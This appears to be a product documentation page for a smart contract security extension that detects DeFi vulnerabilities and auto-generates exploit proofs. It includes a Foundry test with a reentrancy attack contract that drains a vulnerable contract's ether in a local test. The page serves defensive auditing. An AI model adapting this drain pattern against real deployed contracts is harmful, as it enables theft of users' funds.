Blockchain Analysis

New

Smart Contract Security Engine

Specialized security analysis for Ethereum-compatible smart contracts. Includes DeFi-specific vulnerability detection and automated exploit proof generation.

23+
Patterns
6
Chains
$3.8B+
Exploits Covered
PoC
Auto-Generated

Overview

The Blockchain Analysis engine is specifically designed for smart contract security. It understands DeFi primitives, token standards, and common attack patterns that have led to billions in losses.

DeFi-Aware Analysis

Understands DEX interactions, lending protocols, yield farming, and cross-protocol composability risks.

Exploit Proof Generation

Automatically generates Foundry test cases demonstrating how vulnerabilities can be exploited.

Real-World Patterns

Patterns derived from actual exploits like The DAO, Ronin, and Wormhole hacks.

Audit-Ready Reports

Generates professional audit reports with severity ratings and remediation guidance.

Supported Chains

Full support for EVM-compatible chains. Analysis is performed locally on your Solidity source code.

Ethereum
Full Support
Polygon
Full Support
BSC
Full Support
Arbitrum
Full Support
Optimism
Full Support
Avalanche
Beta

Vulnerability Classes

Detection patterns based on real-world exploits that have caused billions in losses.

Reentrancy Attacks

critical

Cross-function and cross-contract reentrancy detection with call graph analysis.

The DAO ($60M)Lendf.Me ($25M)Cream Finance ($130M)

Flash Loan Attacks

critical

Detects price manipulation vulnerabilities exploitable via flash loans.

bZx ($8M)Harvest Finance ($34M)Pancake Bunny ($45M)

Oracle Manipulation

high

Single oracle dependency and spot price usage without TWAP.

Compound ($89M)Cream Finance ($19M)Venus ($77M)

Access Control

critical

Missing access modifiers, unprotected initialize functions, ownership issues.

Poly Network ($610M)Ronin Bridge ($620M)Wormhole ($320M)

Logic Errors

high

Business logic flaws, incorrect calculations, edge cases.

Compound ($80M)Cover Protocol ($4M)Balancer ($500K)

Exploit Proof Generation

When critical vulnerabilities are detected, Agnech can automatically generate Foundry test cases that demonstrate the exploit.

test/ReentrancyExploit.t.sol
Solidity
1// Auto-generated exploit proof for reentrancy vulnerability
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5import "forge-std/Test.sol";
6import "../src/VulnerableContract.sol";
7
8contract ReentrancyExploitTest is Test {
9 VulnerableContract target;
10 AttackContract attacker;
11
12 function setUp() public {
13 target = new VulnerableContract();
14 attacker = new AttackContract(address(target));
15
16 // Fund the vulnerable contract
17 vm.deal(address(target), 10 ether);
18 }
19
20 function testReentrancyExploit() public {
21 // Fund attacker
22 vm.deal(address(attacker), 1 ether);
23
24 uint256 targetBalanceBefore = address(target).balance;
25 uint256 attackerBalanceBefore = address(attacker).balance;
26
27 // Execute attack
28 attacker.attack{value: 1 ether}();
29
30 // Verify drain
31 assertGt(address(attacker).balance, attackerBalanceBefore);
32 assertLt(address(target).balance, targetBalanceBefore);
33
34 console.log("Drained:", targetBalanceBefore - address(target).balance);
35 }
36}
37
38contract AttackContract {
39 VulnerableContract target;
40 uint256 attackCount;
41
42 constructor(address _target) {
43 target = VulnerableContract(_target);
44 }
45
46 function attack() external payable {
47 target.deposit{value: msg.value}();
48 target.withdraw(msg.value);
49 }
50
51 receive() external payable {
52 if (address(target).balance >= 1 ether && attackCount < 10) {
53 attackCount++;
54 target.withdraw(1 ether);
55 }
56 }
57}

Automatically generated Foundry test demonstrating a reentrancy attack

Running Exploit Proofs

Run generated tests with forge test -vvvv to see the full execution trace and verify the vulnerability.

DeFi Protocol Analysis

Specialized analysis for common DeFi protocol patterns.

DEX/AMM Analysis

  • • Sandwich attack vectors
  • • Price manipulation via flash loans
  • • Slippage protection issues
  • • LP token handling

Lending Protocol Analysis

  • • Oracle manipulation
  • • Collateral calculation errors
  • • Interest rate model issues
  • • Flash loan integration risks

Token Analysis

  • • ERC-20 compliance issues
  • • Approval race conditions
  • • Fee-on-transfer handling
  • • Rebasing token support

Bridge Analysis

  • • Message validation
  • • Multi-sig vulnerabilities
  • • Cross-chain replay attacks
  • • Validator consensus issues

Configuration

Configure blockchain analysis settings in your VS Code settings or workspace config.

settings.json
JSON
1{
2 "agnech.blockchain.enabled": true,
3 "agnech.blockchain.chains": ["ethereum", "polygon", "bsc"],
4 "agnech.blockchain.generateExploitProofs": true,
5 "agnech.blockchain.defiProtocols": {
6 "detectFlashLoans": true,
7 "detectPriceOracles": true,
8 "checkERC20Compliance": true
9 },
10 "agnech.blockchain.severity": {
11 "reentrancy": "critical",
12 "accessControl": "critical",
13 "oracleManipulation": "high"
14 }
15}